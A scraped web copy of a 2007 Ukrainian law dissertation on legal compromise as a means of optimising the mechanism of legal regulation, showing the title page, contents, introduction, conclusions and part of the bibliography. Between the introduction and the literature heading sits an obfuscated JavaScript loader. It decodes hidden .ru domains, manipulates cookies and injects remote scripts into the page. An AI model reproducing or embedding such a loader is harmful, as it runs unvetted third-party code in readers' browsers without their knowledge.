ЮРИДИЧНИЙ КОМПРОМІС ЯК ФАКТОР ОПТИМІЗАЦІЇ МЕХАНІЗМУ ПРАВОВОГО РЕГУЛЮВАННЯ

Короткий опис

МІНІСТЕРСТВО ВНУТРІШНІХ СПРАВ УКРАЇНИ
ХАРКІВСЬКИЙ НАЦІОНАЛЬНИЙ УНІВЕРСИТЕТ ВНУТРІШНІХ СПРАВ

На правах рукопису

Новікова Марія Миколаївна
УДК 340: 321.01

ЮРИДИЧНИЙ КОМПРОМІС ЯК ФАКТОР ОПТИМІЗАЦІЇ МЕХАНІЗМУ ПРАВОВОГО РЕГУЛЮВАННЯ

12.00.01 теорія та історія держави і права; історія політичних і правових вчень

ДИСЕРТАЦІЯ

на здобуття наукового ступеня кандидата
юридичних наук

Науковий керівник:
ПогрібнийІгор Митрофанович,
кандидат юридичних наук, доцент

Харків 2007

ЗМІСТ
ВСТУП. 3
Розділ 1 ДИНАМІКА ДОСЛІДЖЕННЯ СУТНОСТІ ТА СТРУКТУРИ МПР У ЗАГАЛЬНІЙ ТЕОРІЇ ПРАВА. 15
1.1. Механізм правового регулювання як проблема теорії держави і права 15
1.2. Юридичний компроміс природний чинник правомобільності МПР 44
1.3. Модуль ЮК” у механізмі юридичного компромісу. 67
Розділ 2 СУТНІСТЬ ТЕОРІЇ ЮРИДИЧНОГО КОМПРОМІСУ. 82
2.1. Принципи та сфери дії юридичного компромісу в МПР. 82
2.2. Правокомпромісна теорія гармонізації суспільних відносин 115
Розділ 3 ТЕОРЕТИКО-ПРИКЛАДНІ АСПЕКТИ ОПТИМІЗАЦІЇ МПР У ХОДІ ЗАСТОСУВАННЯ ЮРИДИЧНОГО КОМПРОМІСУ. 132
3.1. Особливості використання юридичного компромісу в механізмі правового регулювання. 132
3.2. Впровадження юридичного компромісу в діяльність органів внутрішніх справ України. 156
ВИСНОВКИ. 169
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ. 177

ВСТУП
Протягом тисячоліть люди звертали увагу на руйнівні процеси, що відбувалися при спілкуванні різних етнічних груп, народностей, націй і класів. Вони вели боротьбу за своє існування шляхом визнання пріоритету загальнолюдських цінностей через їх юридичне забезпечення та усвідомлювали необхідність створення правових відносин на основі компромісу як засобів стабілізації суспільства. Історично соціальний компроміс сприяв утворенню держави і права, формуванню механізму правового регулювання й відтворенню збалансованої національно-правової системи.
Сутність механізму правового регулювання (далі МПР), його значення, структурні елементи на сьогодні в теорії держави і права вивчені достатньо досконало (фундаментальні праці С.С. Алексєєва, В.М.Горшеньова, П.М. Рабиновича, М.М. Рассолова та інших науковців), чого не можна сказати про вивчення процесу функціонування МПР, його динаміки, гнучкості, повноти забезпечення прав і свобод громадян. Однак протягом людського життя склалося так, що підтримка балансу інтересів окремих індивідів та груп населення у суспільстві здійснювалися на підставі емпірично народженого компромісу. Ідеї компромісу сприяли історичному створенню своєрідного суспільного договору, який був предметом дослідження багатьох філософів минулого (Т. Гобс, Дж. Локк, Ж.-Ж. Руссо, І.Кант, Г. Гегель та інші). Поступово окремі елементи компромісу набували нормативного статусу.
В юридичній літературі наголошується, що компроміс у суспільних відносинах сприяє їх позитивній синергетиці та стабілізації громадянського суспільства, розповсюдженню демократії, зміцненню законності та правопорядку, врегулюванню різноманітних сфер людської життєдіяльності соціально-економічної, політико-правової, культурної, наукової тощо. Ідея компромісу, як рушійної сили правового регулювання, є фактором утворення балансу інтересів соціальних груп, класів, націй, народностей.
Активно розвиваючись, елементи правового компромісу починають втілюватися в юриспруденції різних країн світу (Англії, Бельгії, Італії, Нідерландів, Німеччини, США, Франції тощо). В Україні юридичний компроміс більш широко знаходить своє відображення в кримінальному праві та кримінальному процесі, що сприяє ефективній боротьбі зі злочинністю та її попередженню. Проблема компромісу в кримінальному та кримінально-процесуальному праві була предметом досліджень таких авторів, як М.Акімов, Х. Алікперов, Б. Толчинський, С. Туркота, Г. Усатий та інших [2; 8; 9; 192; 194; 195; 202].
В їх роботах системно обґрунтоване поняття кримінально-правового та кримінально-процесуального компромісу, пояснюється його значення щодо зниження рівня психологічної напруги суб’єктів кримінального та кримінально-процесуального права; доводяться причини та умови утворення компромісу в кримінальній та кримінально-процесуальній сферах; розглядається зміст компромісних норм тощо [8; 195; 204]. Це, на наш погляд, є значним внеском в теорію кримінального та кримінально-процесуального права. Але на загальнотеоретичному рівні сутність компромісу ще не вивчена. Відсутнє обґрунтування його значення у механізмі правового регулювання, не визначені сутність явища юридичний компроміс”, закономірності, принципи застосування, сфери та форми прояву, не з’ясований його вплив на МПР. У науковій літературі практично не існує фундаментальних досліджень щодо вирішення проблеми вдосконалення функціонування механізму правового регулювання шляхом впровадження юридичного компромісу.
На підставі дослідження соціальної цінності та дієвості окреслених правових явищ виявлено, що в науці механізм правового регулювання більш досконало вивчений за інструментальним та спеціально-юридичним підходами, а також лише з точки зору сутності та значущості його структурних елементів. Але, на наш погляд, недостатньо вивченими залишаються психологічно-правові аспекти функціонування МПР. Це знижує якість теоретичного обґрунтування закономірностей, від яких значною мірою залежить динамізм правовідносин, швидкість та гнучкість процесу їх регулювання через трансформацію волі суб’єктів права. Не розкритою залишається роль компромісу в елементній частині МПР, яка представлена певним чином у практиці правового регулювання без належного обґрунтування її об’єктивності, системності та прогностичного впливу на юридичний результат. Перелічені недоліки гальмують процес функціонування МПР, що суттєво шкодить правам і свободам людини та громадянина, режиму законності та правопорядку в державі й суспільстві. Тому проблема пошуку шляхів та факторів, що можуть прискорити рухливість МПР, динаміку правовідносин, результативність правової поведінки, в тому числі на підставі компромісу, залишається актуальною.
Недостатність теоретичного обґрунтування явища МПР з точки зору його динаміки, умов процесу функціонування загострюють певні протиріччя під час здійснення правореалізації, про що свідчить юридична практика суспільного життя. Тому в теорії держави і права виникає проблема пошуку факторів оптимізації взаємодії структурних компонентів МПР при гострій необхідності вивчення сутності явища юридичний компроміс” і підстав його застосування в механізмі правового регулювання для стабілізації правовідносин.
На наш погляд, вирішення цієї проблеми можливе на підставі теоретично обґрунтованого впровадження юридичного компромісу в механізм правового регулювання, що надасть можливість реально забезпечити свободу людини і громадянина та демократію в суспільстві шляхом удосконалення регулятивної функції МПР.
Окреслені недоліки та протиріччя обумовлюють актуальність проблеми наукового дослідження та обрання в її межах теми Юридичний компроміс як фактор оптимізації механізму правового регулювання”, а також вибір об’єкту, предмету, мети, завдань та гіпотези дослідження.
Тема дисертаційного дослідження відповідає вимогам Програми формування позитивного іміджу міліції України на 2003-2007 роки (схваленої рішенням Колегії МВС України від 10.01.03 р. № 1км/1), п.п. 175, 177 Наказу МВС України № 755 Про затвердження Пріоритетних напрямків наукових та дисертаційних досліджень, які потребують першочергового розроблення і впровадження в практичну діяльність органів внутрішніх справ, на період 2004-2009 років” від 05.07.2004 року; п. 2.18 Плану науково-дослідних і дослідно-конструкторських робіт Херсонського юридичного інституту ХНУВС на 2006 рік. Дане наукове дослідження також пов’язане з проведенням в Україні державно-правових реформ, які ґрунтуються на інтеграційних процесах до Європейського союзу, що сприятиме становленню громадянського суспільства і верховенства права в Україні.
Об’єктом дослідження є структура та зміст механізму правового регулювання суспільних відносин на засадах юридичного компромісу.
Предметом дослідження є юридичний компроміс як фактор оптимізації механізму правового регулювання.
Дисертація базується на такому припущенні: якщо розглядати компроміс як умову оптимізації процесу функціонування МПР, то його юридичне забезпечення призведе до підвищення рівня правомобільності механізму правового регулювання.
Мета дисертації полягає у визначенні й обґрунтуванні теоретико-прикладних аспектів оптимізації механізму правового регулювання на основі аналізу сутності юридичного компромісу.
Виходячи з поставленої мети, в дослідженні необхідно вирішити такі основні завдання:
- уточнити структуру та зміст механізму правового регулювання;
- визначити сутність структурних елементів МПР, їх взаємозв’язок з іншими соціально-правовими явищами та умови ефективності функціонування МПР;
- встановити місце та значення юридичного компромісу в процесі функціонування МПР;
- обґрунтувати основні принципи використання юридичного компромісу в механізмі правового регулювання;
- визначити сфери впливу юридичного компромісу з утворенням відповідних модулів правового регулювання;
- сформулювати та розкрити основні положення правокомпромісної теорії гармонізації суспільних відносин;
- окреслити стан юридичного забезпечення компромісу в МПР;
- виробити пропозиції щодо вдосконалення змісту нормативно-правових актів шляхом введення юридичного компромісу.
У роботі використано загальнонаукові та спеціальні методи дослідження. Так, розглянуто діалектичний розвиток компромісу від нижчого стану до вищого, його юридичного забезпечення в МПР (підрозділи 1.1 1.3). Формально-логічний метод сприяв дослідженню юридичного компромісу з точки зору його відповідності законам формальної логіки, закономірностям філософського мислення, наприклад, у співвідношенні модусу ЮК” з модусами вівенді та проседенді (підрозділ 1.2). Метод моделювання надав можливість відобразити сутність дослідження у таких схемах: Об’єднання стимулюючих та обмежувальних ознак в компромісі”, Взаємодія субсидіарного правокомпромісного методу з диспозитивним та імперативним методами правового регулювання”, Структура модусу юридичний компроміс” тощо.
На підставі порівняльно-правового методу здійснювався аналіз прийомів, способів, засобів та методів правового регулювання (загальний, основні, додаткові) (підрозділ 1.2); системно-функці­ональний метод дозволив розглянути МПР у взаємодії його елементів на якісно новому рівні з використанням юридичного компромісу (підрозділ 1.1); за допомогою методу раціональної критики проаналізовано сутність законодавчих актів, в яких виявлено колізії й інші недоліки щодо використання юридичного компромісу (підрозділи 3.1, 3.2); спеціально-юридичний метод сприяв конкретизації юридичних понять, визначенню специфічних ознак правових явищ, уточненню юридичних формулювань у пропозиціях до законодавчих актів (розділи 1-3); синергетичний метод надав можливість розглянути процес самоорганізації та самовдосконалення механізму правового регулювання на засадах юридичного компромісу (розділ 2).
У роботі використовувалися й інші методи наукового дослідження спостереження, аналізу та синтезу, за допомогою яких досліджувався зарубіжний досвід правового регулювання на засадах юридичного компромісу (підрозділ 2.1).
Методологічна та теоретична основа дисертації ґрунтується на результатах науково-теоретичних досліджень у теорії та історії держави і права, історії політичних і правових учень, галузевих та інших юридичних наук, що висвітлені в працях таких провідних вітчизняних і зарубіжних правознавців як В. Б. Авер’янов, С.С.Алексєєв, Х.Д.Алікперов, В. К. Бабаєв, І. В. Бенедик, А.Б.Венгеров, В.М.Горшеньов, С.Д.Гусарєв, А. П. Заєць, М.С.Кельман, Д.А.Керімов, А.М.Колодій, В. В.Копєйчиков, С.О.Комаров, Е.Б.Кубко, Є.О.Курта, В.В.Лазарєв, Р.З. Лівшиць, Н.І.Матузов, М.Н. Марченко, О.Г.Мурашин, В.С.Нерсесянц, Ю.М. Оборотов, А.Ю. Олійник, О.В. Петришин, І.М.Погрібний, П.М.Рабінович, О.Ф.Скакун, О.Л. Слюсаренко, А.В.Сурілов, О.Ю. Тихомиров, Г.О. Усатий, Ю.С.Шемшученко, А.М.Шульга, М. В.Цвік та інші.
Емпіричною базою для отримання наукових фактів були чинні акти законодавства України, і перш за все Кодекс України про адміністративні правопорушення, Кримінальний кодекс України, Закон України Про міліцію”, Про вищу освіту”, Про альтернативну (невійськову) службу”, Наказ Державної податкової адміністрації України № 182 Про затвердження Порядку застосування податкового компромісу органами державної подат­кової служби в межах адміністративної апеляційної процедури” від 26.04.2001 року; нормативні документи зарубіжних країн, які стосуються використання юридичного компромісу в правовому регулюванні.
Наукова новизна отриманих результатів полягає у комплексному монографічному дослідженні юридичного компромісу як фактору оптимізації механізму правового регулювання. У роботі розроблені та запропоновані наступні нові наукові положення:
- уточнено поняття механізм правового регулювання”, під яким розуміється система правових засобів (норми права, індивідуальні приписи, правовідносини, акти реалізації), що перебувають у органічній єдності та забезпечують дієвість правового регулювання на підставі стимулів і обмежень з метою гармонізації суспільних відносин;
- вироблено авторське визначення поняття гармонізації суспільних відносин” в правовому регулюванні як процесу створення узгодженості та збалансованості юридичних засобів у МПР (стимулів і обмежень), що встановлює рівновагу суб’єктивних прав та юридичних обов’язків, здійснює розмежування правомірної поведінки та правопорушення; забезпечує притягнення до юридичної відповідальності осіб у разі виявлення перевищення повноважень або невиконання чи неналежного виконання ними юридичного обов’язку;
- вперше введено у науковий обіг поняття правомобільність МПР” як міри рухомості, гнучкості, динамічної взаємодії структурних компонентів механізму правового регулювання у процесі його функціонування;
- конкретизовано поняття методу правового регулювання як динамічної системи та поглиблено уявлення про його структуру;
- вперше сформульовано поняття стратегії правового регулювання, під якою розуміється співвідношення теорії і практики використання механізму правового регулювання суб’єктами права для досягнення гармонізації суспільних відносин з отриманням бажаного чи можливого інтересу;
- вперше обґрунтовано поняття, зміст та основні ознаки юридичного компромісу, під яким розуміється організаційно-правова форма взаємодії суб’єктів в механізмі правового регулювання, що забезпечується стимулюючо-обмежу­ючими прийомами, способами та засобами системно-логічного характеру, для створення умов поступливості, неконфліктності, добровільної співпраці, правомобільності МПР, економії юридичної репресії та мінімізації психологічної напруги у правовідносинах;
- розроблено систему основних принципів використання юридичного компромісу як субсидіарного (допоміжного) методу правового регулювання в МПР;
- визначено поняття модусу юридичний компроміс” як способу субсидіарного правокомпромісного методу, який складається з прийомів (стимулу основна частина інтересу” та обмеження поступки”), що застосовуються одночасно для відкриття нових юридичних каналів спільного задоволення інтересів суб’єктів права;
- вироблено поняття модуля ЮК” як уособлення в МПР правокомпромісних норм, відносин та актів застосування в механізм юридичного компромісу;
- визначено три основних види модуля юридичний компроміс”конструктивно-правовий,превентивно-право­вий, стимулюючо-правовий, які діють відповідно у конфліктній, передконфліктній ситуаціях та ситуації соціальної стабільності;
- обґрунтовано поняття субсидіарного (допоміжного) правокомпромісного методу як системи засобів, способів, прийомів і заходів стимулюючо-обмежуючого та модульно-алгорит­мічного характеру, що утворюють організаційно-правові форми взаємодії суб’єктів права, сприяючи їх поступливості, антиконфліктності і добровільній співпраці, забезпечуючи правомобільність МПР;
- вперше визначено та надано характеристику основних структурно-функціональних елементів субсидіарного правокомпромісного методу;
- вперше обґрунтовано поняття правокомпромісного режиму, під яким розуміється поетапна логічно-лінійна реалізація структурно-функціональних елементів юридичного компромісу;
- вперше надано поняття правової компромісності, тобто юридичної властивості МПР втілювати компроміс у певних формах (погодження, угоди, договору, домовленості, поступки, конструктивної співпраці) в юридичну дійсність;
- вперше розроблено основні положення правокомпромісної теорії гармонізації суспільних відносин; уточнено поняття правокомпромісної норми та правокомпромісних відносин.
Практичне значення дослідження проявляється у забезпеченні підґрунтя розвитку галузевих механізмів правового регулювання з оптимізуючим фактором юридичним компромісом, що сприятиме удосконаленню законодавства та юридичної практики його застосування. Так, в результаті проведення дослідження сформульовано ряд пропозицій щодо внесення змін до Кримінально-процесуального кодексу України, Закону України Про міліцію”, наказу МВС України № 1212 Про затвердження Положення про службу дільничних інспекторів міліції в системі Міністерства внутрішніх справ” від 20.10.03 року. Розроблено науково-практичні рекомендації Застосування компромісу у профілактиці правопорушень службою дільничних інспекторів міліції”, які сприятимуть антиконфліктності поведінки та гармонізації суспільних відносин у зовнішній і внутрішній сферах адміністративної діяльності ОВС.
Апробація результатів наукового дослідження відбувалась у межах науково-практичних форумів різного рівня: міжкафедральної науково-практичної конференції Адміністративно-правові способи захисту прав і свобод людини і громадянина” (Херсонський юридичний інститут НУВС, лютий 2004 р.); Всеукраїнського науково-практичного семінару Організація взаємодії органів внутрішніх справ з громадськими формуваннями щодо охорони громадського порядку та забезпечення громадської безпеки: досвід та проблеми” (Прикарпатський юридичний інститут МВС України, квітень 2004 р.); звітної науково-практичної конференції працівників, курсантів і студентів Херсонського юридичного інституту НУВС, травень 2004 р.; науково-практичної конференції Забезпечення правопорядку та безпеки громадян у контексті реформування міліції громадської безпеки” (Харківський національний університет внутрішніх справ України, березень 2006 р.); науково-практичної конференції Теоретико-прикладні засади профілактики правопорушень органами міліції та громадськими формуваннями” (Херсонський юридичний інститут ХНУВС, квітень 2006 р.).
Результати дисертації опубліковані у п’яти статтях фахових видань, а саме:
1. Новікова М.М. Принципи правового компромісу в механізмі правового регулювання // Вісник Запорізького юридичного інституту. 2004. - № 2. С.43-50.
2. Новікова М.М. Психологічні засади правового компромісу // Держава і право: Збірник наукових праць. Юридичні і політичні науки. Випуск 26. К.: Ін-т держави і права ім. В.М.Корецького НАН України, 2004. С. 266-271.
3. Новікова М.М. Юридичний компроміс в механізмі правового регулювання // Вісник Національного університету внутрішніх справ. 2005. - № 30. С. 207-213.
4. Новікова М. До питання створення правокомпромісної теорії гармонізації суспільних відносин // Право України. 2006. - № 1. С. 29-32.
5. Новікова М. Юридичний компроміс як додатковий метод правового регулювання// Право України. 2006. - № 9. С. 34-38.

Структура роботи. Дисертація складається зі вступу, трьох розділів, висновків, списку використаних джерел. Основний зміст дослідження викладено на 176 сторінках. Робота містить 9 схем. Список використаних джерел нараховує 226 найменувань.

window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="16197",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("mydisser.com")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Список літератури

ВИСНОВКИ
У теорії держави і права однією з центральних залишається проблема вдосконалення механізму правового регулювання. Їй приділялася недостатня увага вчених щодо умов, які б сприяли ефективності процесу функціонування МПР, швидкій реалізації прав і свобод громадян, встановленню гармонії суспільних відносин на підставі демократії.
Тому тема дисертаційного дослідження Юридичний компроміс як фактор оптимізації механізму правового регулювання” є актуальною, оскільки об’єктом дослідження обрано структуру та зміст механізму правового регулювання суспільних відносин на засадах юридичного компромісу, предметом юридичний компроміс як фактор оптимізації МПР.
У процесі наукового пошуку доказана правильність припущення: якщо розглядати компроміс як чинник оптимізації процесу функціонування МПР, то його юридичне забезпечення призведе до підвищення рівня правомобільності механізму правового регулювання.
Проведення теоретичного обґрунтування шляхів удосконалення МПР за допомогою юридичного компромісу та розробка на цій основі практичних рекомендацій щодо його використання у правовій сфері дозволяє зробити висновок про досягнення мети наукового дослідження.
Цьому сприяло виконання визначених завдань. Так, аналіз наукової літератури, що розкриває сутність та специфіку механізму правового регулювання, дозволив уточнити сутність поняття МПР. Під ним у роботі розуміється система правових засобів (норми права, індивідуальні приписи, правовідносини, акти реалізації), що перебувають у органічній єдності та забезпечують дієвість правового регулювання на підставі стимулів і обмежень з метою гармонізації суспільних відносин.
Доведено, що важливим показником дієвості МПР є правомобільність. Під нею в дослідженні розглядається міра рухомості, гнучкості, динамічної взаємодії структурних компонентів механізму правового регулювання у процесі його функціонування.
Нами доведено, що значущими факторами юридичного впливу на процес взаємодії основних структурних компонентів МПР, які сприяють перетворенню моделі правової поведінки в реальні правовідносини, є методи правового регулювання. Класичним з них в теорії держави та права вважається загальний метод правового регулювання і його два основних види авторитарний (імперативний) та автономний (диспозитивний).
Обґрунтовано, що імперативний метод не враховує об’єктивно існуючих закономірностей психології поведінки особи як суб’єкта права, зокрема:
- прагнення до певної свободи вибору правового вчинку;
- бажання варіативності поведінки;
- встановлення балансу між собою та оточуючим середовищем шляхом отримання основної частки інтересу, згоди на поступку, що значно знижує рівень психологічної напруги.
Ігнорування цих закономірностей та широке застосування авторитарного методу в МПР тягне за собою виникнення високого рівня психологічної напруги суб’єктів права, спонукає їх на порушення нормативних правил поведінки, сприяє внутрішньому психологічному протистоянню, що значно знижує правомобільність МПР.
У той же час автономний метод також не повною мірою спонукає суб’єкта права на реалізацію юридичних норм, оскільки в МПР він є в багатьох випадках декларованим. Доведено, що заборона та стимул, які є головними ознаками автономного та авторитарного методів правового регулювання, недостатньо гнучко забезпечують процес функціонування МПР. Кожний із зазначених методів в окремих випадках посилює протиріччя між суб’єктами права. Це сприяє нелегальній появі компромісних відносин, де частіше за все посадовці правоохоронних органів виступають посередниками, сприяючи зростанню адміністративно-правового нігілізму.
Для усунення зазначених протиріч у дослідженні на теоретичному рівні уточнене поняття метод правового регулювання”, під яким розуміється динамічна система засобів, способів, прийомів і заходів (комбінацій і операцій), функціональне призначення яких у організації стимулювання правомірної поведінки для забезпечення мобільності функціонування МПР з метою гармонізації суспільних відносин.
Також нами уточнена структура загального методу. Ії основу складає сукупність взаємопов’язаних елементів: а) юридичних засобів як сукупності способів, що виступають об’єктивно матеріалізованими факторами впливу на поведінку суб’єктів права; б) юридичних способів як системи дій (прийомів) різноманітного характеру; в) юридичних прийомів як тактичних дій (технічного, фізичного, психічного, інтелектуального та іншого матеріального характеру); г) юридичних заходів (комбінацій та операцій) як системи узгоджених тактичних дій, що впорядковуються у прийоми, способи та засоби правомірної поведінки і визначають стратегію правового регулювання.
Автором обґрунтовано значення психологічно-правових основ компромісу як емпірично сформованого засобу розв’язання конфліктних ситуацій, який був народжений в процесі формування суспільного середовища. Його сутність полягає у добровільному погодженні людини на певну поступку при гарантії отримання більшої частини цінності. На основі теоретичного аналізу доведено, що деякі елементи компромісу знаходять своє юридичне втілення в МПР, але цей факт суттєво не впливає на процес його функціонування, оскільки використання окремих елементів компромісу є позасистемним, фрагментарним і теоретично необґрунтованим.
Дисертантом доведено, що компроміс у МПР за умови юридичної легітимності його елементів забезпечує їх системне, цілеспрямоване використання шляхом модуляції суспільних відносин. У зв’язку з цим компроміс у правовому регулюванні на базі традиційних методів (авторитарного та автономного) набуває статусу субсидіарного (допоміжного) методу правового регулювання, одночасно об’єднуючи стимули й обмеження на засадах правокомпромісних норм у новий спосіб модус юридичний компроміс”. Одночасне стимулювання й обмеження в МПР є ключовим способом упорядкування суспільних відносин у певній алгоритмічній послідовності, що утворює модуль юридичний компроміс”, який є засобом правокомпромісного методу правового регулювання. Він має на меті моральне (психологічне), матеріальне задоволення спільних інтересів суб’єктів права. Під час модуляції суспільних відносин у МПР стимулом виступає гарантія отримання суб’єктом права основної частки інтересу за умови надання ним одночасної поступки, яка виконує роль добровільного обмеження.
Добровільність обмеження суб’єктом права і стимулювання його з боку законодавця й інших суб’єктів є об’єктивною правовою реальністю існування правокомпромісного методу. Досліджуваний метод дозволяє враховувати психологічні закономірності поведінки особи, зокрема: фактор цілеполягання, без якого особа не може існувати в суспільстві; необхідність варіативності правової поведінки з мінімізацією боротьби мотивів; спрощення вибору конкретного варіанту правової поведінки; добровільність обмеження своїх інтересів з метою одержання значної їх частки в подальшому тощо.
У роботі охарактеризовано основні ознаки субсидіарного правокомпромісного методу, якими виступають: модусна уніфікованість; правокомпромісна алгоритмічність; право-компромісний режим; модуляція юридичного компромісу, що дозволяють зрозуміти сенс і зміст юридичного компромісу як фактору оптимізації МПР при стабілізації суспільних відносин, усуненні протиріч між суб’єктами права, спрощенні процесуального порядку вирішення конфлікту.
У контексті визначених ознак субсидіарному правокомпро­місному методу властиво утворювати логічну послідовність, упорядкованість застосування правокомпромісних прийомів, способів і засобів, які виражають ступінь гнучкості правового регулювання, наявність законодавчо визначених обмежень і пільг з допустимим рівнем активності суб’єктів і визначенням меж їх правової самостійності. Безсумнівно, що вищезазначена активність досягається добровільністю поступок і домовленостей сторін у заданому режимі юридичних норм, які у комплексі (правоком­промісні норми та акти застосування) стимулюють перехід від передконфліктної, конфліктної ситуації до ситуації соціальної стабільності.
У дисертації під юридичним компромісом визначається організаційно-правова форма взаємодії суб’єктів в механізмі правового регулювання, що забезпечується стимулюючо-обмежуючими прийомами, способами та засобами системно-логічного характеру, з метою підвищення правомобільності МПР та мінімізації психологічної напруги у правовідносинах.
Обґрунтовується доцільність розгляду поведінки суб’єкта права з точки зору державно-правової теорії організації соціальних систем. На закономірностях цих систем досліджено три етапи процесу функціонування компромісного товариства (КТ) як мікросоціосистеми в процесі розв’язання конфлікту вхід”, процес” і вихід”.
Визначено, що ці етапи функціонально співпадають зі стадіями механізму правового регулювання і підпорядковуються чітко означеній алгоритмізації, що програмується на підставі модуля ЮК”. Сутність цього модуля складає модус ЮК” (синхронізатор стимулу і обмеження) та алгоритм (системно-логічна, процесуально-правова упорядкованість правокомпромісних способів), які забезпечують узгоджену поведінку у передконфліктній, конфліктній ситуаціях та ситуації соціальної стабільності як сфер застосування правокомпромісного методу.
Відповідно до цих сфер дисертантом розроблено модель трьох основних видів компромісних норм, що використовуються у МПР, і складають основу механізму юридичного компромісу правокомпромісні норми, правокомпромісні відносини, акти застосування юридичного компромісу, що містять поступки, домовленості, угоди, злагоду і спрямовані на конструктивну співпрацю.
Для кожної сфери правового регулювання властивий свій правокомпромісний засіб: конфліктній ситуації конструктивно-правовий модуль ЮК”; передконфліктній ситуації превентивно-правовий модуль ЮК”, ситуації соціальної стабільності стимулюючо-правовий модуль ЮК”. В основі функціонування досліджуваних модулів, які складають механізм юридичного компромісу полягає модус ЮК”. Він нормами матеріального і процесуального права встановлює стимули та обмеження, упорядковуючи компромісну поведінку суб’єктів права в певному алгоритмі (конструктивно-правовому, превентивно-правовому, стимулюючо-правовому).
Результатом модуляції суспільних відносин у вищезазначених сферах є їх стабілізація за принципом антиконфліктності, а гармонізація суспільних відносин ґрунтується на принципах креативності, стимулювання активності суб’єктів права до конструктивної співпраці.
У ході дослідження визначено принципи використання правокомпромісного методу в МПР, аргументовано їх сутність і значення. Головними принципами вважаються: універсальний принцип єдності дозволяння та веління, єдності прав та обов’язків, паритетності, наближення до рівноправ’я, пропорційності покарання вчиненому, компенсації шкоди, добровільності поступки, доступності та раціональності, медіації, стимулювання активності суб’єкта права, креативності, цілісності, синхронності.
У дисертаційному дослідженні обґрунтовуються та узагальнюються основні положення правокомпромісної теорії гармонізації суспільних відносин, які систематизують закономірності впливу правокомпромісного методу на суспільні відносини в механізмі правового регулювання. Основними ідеями правокомпромісної теорії доводиться можливість оптимізації МПР шляхом: а) використання структурно-функціональних елементів юридичного компромісу в МПР; б) відображення у компромісних нормах моделей правової поведінки, що передбачають добровільну поступку; в) правової легітимності юридичного компромісу.
Автором розроблено текстуальні моделі, що наочно пояснюють логіку взаємодії структурних компонентів правокомпромісного методу в МПР для належної гармонізації суспільних відносин.
Закономірності, що оптимізують діяльність МПР за допомогою юридичного компромісу, сприяли науковому обґрунтуванню рекомендацій по вдосконаленню нормативно-правової бази, яка обумовлює правомобільність МПР.
Рекомендовано впровадити елементи юридичного компромісу у законодавство шляхом поширення повноважень працівників міліції за допомогою функції ініціатора (посередника) компромісної поведінки суб’єктів права. Це сприятиме більш швидкому розв’язанню чи попередженню конфліктної ситуації на основі пропонування сторонами взаємних поступок та укладання мирової експрес-угоди” для стабілізації чи гармонізації правовідносин.
Дане дисертаційне дослідження не претендує на повноту вивчення проблеми юридичного компромісу як фактору оптимізації механізму правового регулювання. Для теорії держави і права можуть мати значення такі проблеми, як:
- комплексне використання основних, додаткових та допоміжних методів правового регулювання в МПР;
- форми реалізації юридичного компромісу в механізмі правового регулювання;
- медіативний процес як форма застосування юридичного компромісу;
- особливості юридичної відповідальності при застосуванні правокомпромісних норм;
- юридичний компроміс у системі засобів подолання правового нігілізму;
- теоретичні та прикладні засади діяльності міліції на підставі юридичного компромісу тощо.

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ
1. Авер’янов В. Нова доктрина українського адміністративного права: концептуальні позиції // Право України. 2006. - № 5. С. 11-17.
2. Акімов М. Про умови та механізм звільнення від кримінальної відповідальності члена організованого злочинного формування // Право України. 2000. - № 2. С. 64-65.
3. Актуальные проблемы юридической науки на этапе развитого социализма: Краткие тезисы докладов и научных сообщений республиканской научной конференции, 16-17 ноября 1985 г. Харьков: Юрид. ин-т, 1985. 256 с.
4. Акутальні проблеми методології приватного права: Колективна монографія / За заг. ред. О.Д. Крупчана. К.: Науково-дослідний інститут приватного права і підприємництва АпрН України, 2005. 266 с.
5. Алексеев С.С. Общая теория права. В двух томах. Т. ІІ. М.: Юрид. лит., 1982. 360 с.
6. Алексеев С.С. Право: азбука теория философия: опыт комплексного исследования. М.: «Статут», 1999. 712 с.
7. Алексеев С.С. Теория права. М.: Издательство БЕК, 1994. 224 с.
8. Аликперов Х.Д. Преступность и компромисс. Баку: Элм, 1992. 196 с.
9. Аликперов Х.Д. Социальная обусловленность компромисса в концепции уголовной политики // Советское государство и право. 1991. - № 12. С. 79-86
10. Андрущенко В.П., Михальченко М.І. Сучасна соціальна філософія: Курс лекцій. К.: Генеза”, 1996. 368 с.
